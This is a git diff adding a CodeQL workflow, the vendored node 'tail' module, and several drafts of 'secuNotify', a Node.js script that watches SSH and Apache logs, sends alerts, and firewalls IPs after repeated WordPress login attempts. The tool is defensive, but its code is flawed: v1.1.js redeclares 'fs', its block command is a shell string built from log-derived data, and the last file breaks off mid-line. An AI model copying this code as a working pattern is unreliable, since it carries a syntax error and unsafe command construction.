+1,67 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ master ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ master ] + schedule: + - cron: '16 13 * * 3' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + language: [ 'javascript' ] + # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] + # Learn more: + # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + + # ℹ️ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/install/secu/make/node_modules/tail/LICENSE b/install/secu/make/node_modules/tail/LICENSE new file mode 100644 index 0000000..75e1c24 --- /dev/null +++ b/install/secu/make/node_modules/tail/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2011 2012 2013 Forward + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/install/secu/make/node_modules/tail/README.md b/install/secu/make/node_modules/tail/README.md new file mode 100644 index 0000000..de886f9 --- /dev/null +++ b/install/secu/make/node_modules/tail/README.md @@ -0,0 +1,122 @@ +# Tail + +The **zero** dependency Node.js module for tailing a file + +[![NPM](https://nodei.co/npm/tail.png?downloads=true&downloadRank=true)](https://nodei.co/npm/tail.png?downloads=true&downloadRank=true) + +[![license](https://img.shields.io/github/license/mashape/apistatus.svg)](https://github.com/lucagrulla/node-tail/blob/master/LICENSE) +[![npm](https://img.shields.io/npm/v/tail.svg?style=plastic)](https://www.npmjs.com/package/tail) +![npm](https://img.shields.io/npm/dm/tail.svg) + +Made with ❤️ by [Luca Grulla](https://www.lucagrulla.com) + +1. TOC +{:toc} + +## Installation + +```bash +npm install tail +``` + +## Use + +```javascript +Tail = require('tail').Tail; + +tail = new Tail("fileToTail"); + +tail.on("line", function(data) { + console.log(data); +}); + +tail.on("error", function(error) { + console.log('ERROR: ', error); +}); +``` + +If you want to stop tail: + +```javascript +tail.unwatch() +``` + +To start watching again: + +```javascript +tail.watch() +``` + +## Configuration + +The only mandatory parameter is the path to the file to tail. + +```javascript +var fileToTail = "/path/to/fileToTail.txt"; +new Tail(fileToTail) +``` + +If the file is **missing or invalid** ```Tail``` constructor will throw an Exception and won't initialize. + +```javascript +try { + new Tail('missingFile.txt') +} catch (ex) { + console.log(ex) +} +``` + +Optional parameters can be passed via a hash: + +```javascript +var options= {separator: /[\r]{0,1}\n/, fromBeginning: false, fsWatchOptions: {}, follow: true, logger: console} +new Tail(fileToTail, options) +``` + +### Constructor parameters + +* `separator`: the line separator token (default: `/[\r]{0,1}\n/` to handle linux/mac (9+)/windows). Pass `null` for is binary files with no line separator. +* `fsWatchOptions`: the full set of options that can be passed to `fs.watch` as per node documentation (default: {}). +* `fromBeginning`: tail from the beginning of the file (default: `false`). If `fromBeginning` is true `nLines` will be ignored. +* `follow`: simulate `tail -F` option. In the case the file is moved/renamed/logrotated, if set to `true` will start tailing again after a 1 second delay; if set to `false` it will emit an error event (default: `true`). +* `logger`: a logger object(default: no logger). The passed logger should follow the folliwing signature: + * `info([data][, ...])` + * `error([data][, ...])` +* `nLines`: tail from the last n lines. (default: `undefined`). Ignored if `fromBeginning` is set to `true`. +* `useWatchFile`: if set to `true` will force the use of `fs.watchFile` over delegating to the library the choice between `fs.watch` and `fs.watchFile` (default: `false`). +* `encoding`: the file encoding (default:`utf-8`). +* `flushAtEOF`: set to `true` to force flush of content when end of file is reached. Useful when there's no separator character at the end of the file (default: `false`). + +## Emitted events + +`Tail` emits two events: + +* line + +```javascript +tail.on('line', (data) => { + console.log(data) +}) +``` + +* error + +```javascript +tail.on('error', (err) => { + console.log(err) +}) +``` +The error emitted is either the underline exception or a descriptive string. + +## How to contribute +Node Tail code repo is [here](https://github.com/lucagrulla/node-tail/) +Tail is written in ES6. Pull Requests are welcome. + +## History + +Tail was born as part of a data firehose. Read more about that project [here](https://www.lucagrulla.com/posts/building-a-firehose-with-nodejs/). +Tail originally was written in [CoffeeScript](https://coffeescript.org/). Since December 2020 it's pure ES6. + +## License + +MIT. Please see [License](https://github.com/lucagrulla/node-tail/blob/master/LICENSE) file for more details. diff --git a/install/secu/make/node_modules/tail/lib/tail.js b/install/secu/make/node_modules/tail/lib/tail.js new file mode 100644 index 0000000..0940b41 --- /dev/null +++ b/install/secu/make/node_modules/tail/lib/tail.js @@ -0,0 +1,233 @@ +let events = require(`events`) +let fs = require('fs') +let path = require('path') + +// const environment = process.env['NODE_ENV'] || 'development' + +class devNull { + info() { }; + error() { }; +}; + +class Tail extends events.EventEmitter { + + constructor(filename, options = {}) { + super(); + this.filename = filename; + this.absPath = path.dirname(this.filename); + this.separator = (options.separator !== undefined) ? options.separator : /[\r]{0,1}\n/;// null is a valid param + this.fsWatchOptions = options.fsWatchOptions || {}; + this.follow = options['follow'] != undefined ? options['follow'] : true; + this.logger = options.logger || new devNull(); + this.useWatchFile = options.useWatchFile || false; + this.flushAtEOF = options.flushAtEOF || false; + this.encoding = options.encoding || 'utf-8'; + const fromBeginning = options.fromBeginning || false; + this.nLines = options.nLines || undefined; + + this.logger.info(`Tail starting...`) + this.logger.info(`filename: ${this.filename}`); + this.logger.info(`encoding: ${this.encoding}`); + + try { + fs.accessSync(this.filename, fs.constants.F_OK); + } catch (err) { + if (err.code == 'ENOENT') { + throw err + } + } + + this.buffer = ''; + this.internalDispatcher = new events.EventEmitter(); + this.queue = []; + this.isWatching = false; + this.pos = 0; + + // this.internalDispatcher.on('next',this.readBlock); + this.internalDispatcher.on('next', () => { + this.readBlock(); + }); + + this.logger.info(`fromBeginning: ${fromBeginning}`); + let startingCursor; + if (fromBeginning) { + startingCursor = 0; + } else if (this.nLines !== undefined) { + const data = fs.readFileSync(this.filename, { + flag: 'r', + encoding: this.encoding + }); + const tokens = data.split(this.separator); + const dropLastToken = (tokens[tokens.length - 1] === '') ? 1 : 0;//if the file ends with empty line ignore line NL + if (tokens.length - this.nLines - dropLastToken <= 0) { + //nLines is bigger than avaiable tokens: tail from the begin + startingCursor = 0; + } else { + const match = data.match(new RegExp(`(?:[^\r\n]*[\r]{0,1}\n){${tokens.length - this.nLines - dropLastToken}}`)); + startingCursor = (match && match.length) ? Buffer.byteLength(match[0], this.encoding) : this.latestPosition(); + } + } else { + startingCursor = this.latestPosition(); + } + if (startingCursor === undefined) throw new Error("Tail can't initialize."); + const flush = fromBeginning || (this.nLines != undefined); + try { + this.watch(startingCursor, flush); + } catch (err) { + this.logger.error(`watch for ${this.filename} failed: ${err}`); + this.emit("error", `watch for ${this.filename} failed: ${err}`); + + } + + } + + latestPosition() { + try { + return fs.statSync(this.filename).size; + } catch (err) { + this.logger.error(`size check for ${this.filename} failed: ${err}`); + this.emit("error", `size check for ${this.filename} failed: ${err}`); + throw err; + } + } + + readBlock() { + if (this.queue.length >= 1) { + const block = this.queue[0]; + if (block.end > block.start) { + let stream = fs.createReadStream(this.filename, { start: block.start, end: block.end - 1, encoding: this.encoding }); + stream.on('error', (error) => { + this.logger.error(`Tail error: ${error}`); + this.emit('error', error); + }); + stream.on('end', () => { + let _ = this.queue.shift(); + if (this.queue.length > 0) { + this.internalDispatcher.emit('next'); + } + if (this.flushAtEOF && this.buffer.length > 0) { + this.emit('line', this.buffer); + this.buffer = ""; + } + }); + stream.on('data', (d) => { + if (this.separator === null) { + this.emit("line", d); + } else { + this.buffer += d; + let parts = this.buffer.split(this.separator); + this.buffer = parts.pop(); + for (const chunk of parts) { + this.emit("line", chunk); + } + } + }); + } + } + } + + change() { + let p = this.latestPosition() + if (p < this.currentCursorPos) {//scenario where text is not appended but it's actually a w+ + this.currentCursorPos = p + } else if (p > this.currentCursorPos) { + this.queue.push({ start: this.currentCursorPos, end: p }); + this.currentCursorPos = p + if (this.queue.length == 1) { + this.internalDispatcher.emit("next"); + } + } + } + + watch(startingCursor, flush) { + if (this.isWatching) return; + this.logger.info(`filesystem.watch present? ${fs.watch != undefined}`); + this.logger.info(`useWatchFile: ${this.useWatchFile}`); + + this.isWatching = true; + this.currentCursorPos = startingCursor; + //force a file flush is either fromBegining or nLines flags were passed. + if (flush) this.change(); + + if (!this.useWatchFile && fs.watch) { + this.logger.info(`watch strategy: watch`); + this.watcher = fs.watch(this.filename, this.fsWatchOptions, (e, filename) => { this.watchEvent(e, filename); }); + } else { + this.logger.info(`watch strategy: watchFile`); + fs.watchFile(this.filename, this.fsWatchOptions, (curr, prev) => { this.watchFileEvent(curr, prev) }); + } + } + + rename(filename) { + //TODO + //MacOS sometimes throws a rename event for no reason. + //Different platforms might behave differently. + //see https://nodejs.org/api/fs.html#fs_fs_watch_filename_options_listener + //filename might not be present. + //https://nodejs.org/api/fs.html#fs_filename_argument + //Better solution would be check inode but it will require a timeout and + // a sync file read. + if (filename === undefined || filename !== this.filename) { + this.unwatch(); + if (this.follow) { + this.filename = path.join(this.absPath, filename); + this.rewatchId = setTimeout((() => { + try { + this.watch(this.currentCursorPos); + } catch (ex) { + this.logger.error(`'rename' event for ${this.filename}. File not available anymore.`); + this.emit("error", ex); + } + }), 1000); + } else { + this.logger.error(`'rename' event for ${this.filename}. File not available anymore.`); + this.emit("error", `'rename' event for ${this.filename}. File not available anymore.`); + } + } else { + // this.logger.info("rename event but same filename") + } + } + + watchEvent(e, evtFilename) { + try { + if (e === 'change') { + this.change(); + } else if (e === 'rename') { + this.rename(evtFilename); + } + } catch (err) { + this.logger.error(`watchEvent for ${this.filename} failed: ${err}`); + this.emit("error", `watchEvent for ${this.filename} failed: ${err}`); + } + } + + watchFileEvent(curr, prev) { + if (curr.size > prev.size) { + this.currentCursorPos = curr.size; //Update this.currentCursorPos so that a consumer can determine if entire file has been handled + this.queue.push({ start: prev.size, end: curr.size }); + if (this.queue.length == 1) { + this.internalDispatcher.emit("next"); + } + } + } + + unwatch() { + if (this.watcher) { + this.watcher.close(); + } else { + fs.unwatchFile(this.filename); + } + if (this.rewatchId) { + clearTimeout(this.rewatchId); + this.rewatchId = undefined; + } + this.isWatching = false; + this.queue = [];// TODO: is this correct behaviour? + if (this.logger) { + this.logger.info(`Unwatch ${this.filename}`); + } + } + +} + +exports.Tail = Tail diff --git a/install/secu/make/node_modules/tail/package.json b/install/secu/make/node_modules/tail/package.json new file mode 100644 index 0000000..25c6d67 --- /dev/null +++ b/install/secu/make/node_modules/tail/package.json @@ -0,0 +1,40 @@ +{ + "author": { + "name": "Luca Grulla", + "url": "https://www.lucagrulla.com" + }, + "contributors": [ + "Luca Grulla", + "Tom Hall" + ], + "name": "tail", + "description": "tail a file in node", + "keywords": [ + "tail", + "file", + "logs" + ], + "version": "2.2.4", + "homepage": "https://www.lucagrulla.com/node-tail", + "repository": { + "type": "git", + "url": "git://github.com/lucagrulla/node-tail.git" + }, + "main": "lib/tail", + "engines": { + "node": ">= 6.0.0" + }, + "scripts": { + "build": "rm -f ./lib/** && cp src/tail.js ./lib/", + "prepare": "npm run build", + "prepublishOnly": "npm run test", + "test": "mocha", + "coverage": "nyc npm run test" + }, + "license": "MIT", + "devDependencies": { + "chai": "4.x", + "mocha": "9.x", + "nyc": "^15.1.0" + } +} \ No newline at end of file diff --git a/install/secu/make/package-lock.json b/install/secu/make/package-lock.json new file mode 100644 index 0000000..3854564 --- /dev/null +++ b/install/secu/make/package-lock.json @@ -0,0 +1,38 @@ +{ + "name": "make", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "dependencies": { + "cmd-promise": "^1.2.0", + "tail": "^2.2.4" + } + }, + "node_modules/cmd-promise": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cmd-promise/-/cmd-promise-1.2.0.tgz", + "integrity": "sha1-PPUTIiAZi1HBbakt44ag03Q9u1w=" + }, + "node_modules/tail": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/tail/-/tail-2.2.4.tgz", + "integrity": "sha512-PX8klSxW1u3SdgDrDeewh5GNE+hkJ4h02JvHfV6YrHqWOVJ88nUdSQqtsUf/gWhgZlPAws3fiZ+F1f8euspcuQ==", + "engines": { + "node": ">= 6.0.0" + } + } + }, + "dependencies": { + "cmd-promise": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/cmd-promise/-/cmd-promise-1.2.0.tgz", + "integrity": "sha1-PPUTIiAZi1HBbakt44ag03Q9u1w=" + }, + "tail": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/tail/-/tail-2.2.4.tgz", + "integrity": "sha512-PX8klSxW1u3SdgDrDeewh5GNE+hkJ4h02JvHfV6YrHqWOVJ88nUdSQqtsUf/gWhgZlPAws3fiZ+F1f8euspcuQ==" + } + } +} diff --git a/install/secu/make/package.json b/install/secu/make/package.json new file mode 100644 index 0000000..28643b6 --- /dev/null +++ b/install/secu/make/package.json @@ -0,0 +1,6 @@ +{ + "dependencies": { + "cmd-promise": "^1.2.0", + "tail": "^2.2.4" + } +} diff --git a/install/secu/make/v1.1.js b/install/secu/make/v1.1.js new file mode 100644 index 0000000..db96ba0 --- /dev/null +++ b/install/secu/make/v1.1.js @@ -0,0 +1,173 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +wpTail = new Tail("/var/log/apache2/access.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + const wpLog = '/var/www/html/wp-config.php' + try { + if (fs.existsSync(wpLog)) { + console.log("We are a wordpress user, activating wordpress notification service"); + + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] == 5) { + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl 123.123.123.123 ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert: \n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + + + }) + } + } + } + + }); + + // Live view of the counts + console.log(counts) + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") + +const fs = require('fs') + +const path = '/var/log/apache2/access.log' + +try { + if (fs.existsSync(path)) { + listenWPLog("/var/log/apache2/access.log") + } +} catch(err) { +console.log("I could not find any WP instaltion within the /var/www/html directory\nNOT loading the WP Log listener") +} + diff --git a/install/secu/make/v1.js b/install/secu/make/v1.js new file mode 100644 index 0000000..dbfde6c --- /dev/null +++ b/install/secu/make/v1.js @@ -0,0 +1,161 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +wpTail = new Tail("/var/log/apache2/access.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + const wpLog = '/var/www/html/wp-config.php' + try { + if (fs.existsSync(wpLog)) { + console.log("We are a wordpress user, activating wordpress notification service"); + + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] == 5) { + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl 123.123.123.123 ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert: \n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + + + }) + } + } + } + + }); + + // Live view of the counts + console.log(counts) + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") +listenWPLog("/var/log/apache2/access.log") diff --git a/install/secu/make/vs b/install/secu/make/vs new file mode 100755 index 0000000..4ff5500 Binary files /dev/null and b/install/secu/make/vs differ diff --git a/install/secu/make/vs.js b/install/secu/make/vs.js new file mode 100644 index 0000000..4019b8f --- /dev/null +++ b/install/secu/make/vs.js @@ -0,0 +1,172 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This means that someone (Maybe you) has tried to login with an invalid username!"); + } + }) + + ; +} + +function listenWPLog(logLocation) { + // Check to see if we are a wordpress user, if so, activate the wordpress notification service + try { + if (fs.existsSync("/var/www/html/wp-config.php")) { + console.log("We are a wordpress user, activating wordpress notification service"); + + // Tail Logs section, if we have a lot, it will have a listeniner below. + wpTail.on("line", function (info) { + + // Convert Data to String + let requestInfo = info.toString() + // FIND IP Address from this request + var ipRegEx = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; // RegEx IPAddress Format + var ipRegExMatched = requestInfo.match(ipRegEx); // Set up our match + let remoteIP = ipRegExMatched[0] // Set our var + + // // Grab the whitelist + // let whitelistData = process.env.WHITELIST + // let whitelist = whitelistData.split(",") + + // // If an IP is found to be in the whitelist, return as to do nothing. + // for (const [key, value] of Object.entries(whitelist)) { + // if (value === remoteIP) return + // } + + // Filtering out any server-status requests - These are annoying. + if (requestInfo.includes("server-status")) { + // Add to the server status count so we may keep track of these requests. + serverStatusCount++ + // Lets return the data as no not proceed with any further code, as it is not needed. + // We return to stdout here to update the cli without adding a new line line a clock + return process.stdout.write("Server Status Count: " + serverStatusCount + "\r"); + } + + // If request contans wp-login lets process its request + if (requestInfo.includes("wp-login.php") && requestInfo.includes("POST")) { + // Lets start the process of logging attack attempts to determine request intent. + // Over the threshhold here will automatically CSF D the IP Address. + // In this simple version, we will just log each IP Address as they come in within an array + // We will then roll and count this array after each detection to determine the IPs intent. + console.log("---------\nWP LOGIN REQUEST DETECTED!\n---------") + console.log(info + "\n----------"); + attackData.push(remoteIP) + + // Lets count the attack data per IP Address to ensure its logged properly. + var counts = {}; + + // For each IP Address recorded into the main attackData array, count them and see outmany bad requests they have made. + attackData.forEach(function (x) { + // Add a point for each entry + counts[x] = (counts[x] || 0) + 1; + // + for ([key, value] of Object.entries(counts)) { + // If the count has hit the blockON Count we start the blocking process + + if (counts[x] == 5) { + // Preserve the key for later blocklist addition + ipToBlock = key + + // Check the already blocked IPs - If the remoteIP is in the list do nothing + if (blockedIPs.includes(key)) { + return + + } else { + // The remoteIP is not listed, lets add it. + blockedIPs.push(ipToBlock) + // Let the log know we are blocking the IP + console.log("Starting to block bad IP") + // Run the block, wait for the promise - Requests are still going on + cmd(`/var/tools/firewallctl ` + key + " WP-Login Brute Force Blocked Via secuNotify").then(out => { + notify("secuNotify Service Alert:\n " + key + " has been blocked for 5 bad wordpress login attempts!"); + + // The block has finished - remoteIP no longer has access + }).catch(err => { + // IF we see an error, give its output + console.log('CSF Error: ', err) + }).then(out2 => { + // Set IPBLOCK to null for a reset and start scanning for new attacks + ipToBlock = null; + console.log("Attack Stopped, Looking for new attacks....") + + + }) + } + } + } + + }); + + // Live view of the counts + console.log(counts) + + } + }) + } + } catch (err) { + console.log(err) + } +} + + +listenAuthLog("/var/log/auth.log") + +fs.exists("/var/log/apache2/access.log", function (isExist) { + if (isExist) { + wpTail = new Tail("/var/log/apache2/access.log"); + listenWPLog("/var/log/apache2/access.log") + } else { + console.log("ApacheHTTP Server is not installed, not enabling WP protection."); + } + }); + + + + + diff --git a/install/secu/make/vs_.js b/install/secu/make/vs_.js new file mode 100644 index 0000000..9a957d7 --- /dev/null +++ b/install/secu/make/vs_.js @@ -0,0 +1,172 @@ +// Lets use some libs to help us out. +const fs = require('fs') +Tail = require('tail').Tail; + +sshTail = new Tail("/var/log/auth.log"); +const cmd = require('cmd-promise') + +// Setting up our main storage logic - for now this program does not use a database system. +let serverStatusCount = 0; +let attackData = [] +let blockedIPs = [] +let ipToBlock + +console.log("Welcome to the security notification system secuNotify by Discord-Linux!"); +console.log("We currently will notify you about login events, such as failed logins and successful logins."); + +// Setting up our notification function - This allows us to direct message our user. +function notify(message) { + const { spawn } = require('child_process'); + const notif = spawn('notif', [message]); + + notif.stdout.on('data', (data) => { + console.log(`stdout: ${data}`); + }); + + notif.stderr.on('data', (data) => { + console.error(`stderr: ${data}`); + }); + + notif.on('close', (code) => { + console.log(`Code: ${code} - Continuing to monitor`); + }); +} + +function listenAuthLog(logLocation) { + sshTail.on("line", function (info) { + let infoString = info.toString(); + + if (infoString.includes("Failed password for root")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info); + } + + if (infoString.includes("Accepted password for")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This does mean that someone (Maybe you) has logged in successfully!"); + } + if (infoString.includes("Invalid user")) { + console.log(info); + notify("secuNotify Service Alert: \n" + info + "This 